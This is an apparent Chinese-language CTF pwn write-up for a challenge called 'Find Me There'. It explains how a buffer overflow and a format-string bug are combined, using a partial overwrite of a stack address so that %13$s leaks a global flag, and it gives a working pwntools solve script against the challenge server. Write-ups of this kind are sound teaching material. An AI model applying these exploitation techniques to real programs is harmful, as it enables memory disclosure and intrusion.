# [CH] Find Me There ###### tags: `Writeup` `Pwn` `Chinese` > [name=Curious] ## 思路和解法 從 `chal.c` 可以知道這題在 `read(0, buf, 0x40)` 有一個 BOF,然後在 `printf(buf)` 這邊有一個 FMT,而且 `flag` 是一個全域變數,也就是說位址和 `main` 有同一個 base。 我們知道執行時會在 stack 上殘留一些有用的位址,而這個 binary 執行時  如果使用 `objdump -t chal` 去看 `flag` 和 `main` 的 offset 時  又題目會給 `main` 位址的最後兩個 bytes,所以只要用 BOF 把 `main` 位址的最後兩位寫成 `flag` 的然後用 FMT 把 `flag` 印出來就可以了。 Solve Script : ```python= from pwn import * context.terminal = ['tmux', 'splitw', '-h'] # r = process('./chal') r = remote('lotuxctf.com', 10008) main_addr_partial = int(r.recvline().strip().split(b': ')[1]) flag_addr_partial = main_addr_partial - 0x00000000000011a9 + 0x0000000000004010 r.send(b'%13$s\x00'.ljust(0x38, b'a') + bytes([flag_addr_partial & 0xff, (flag_addr_partial >> 8) & 0xff])) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up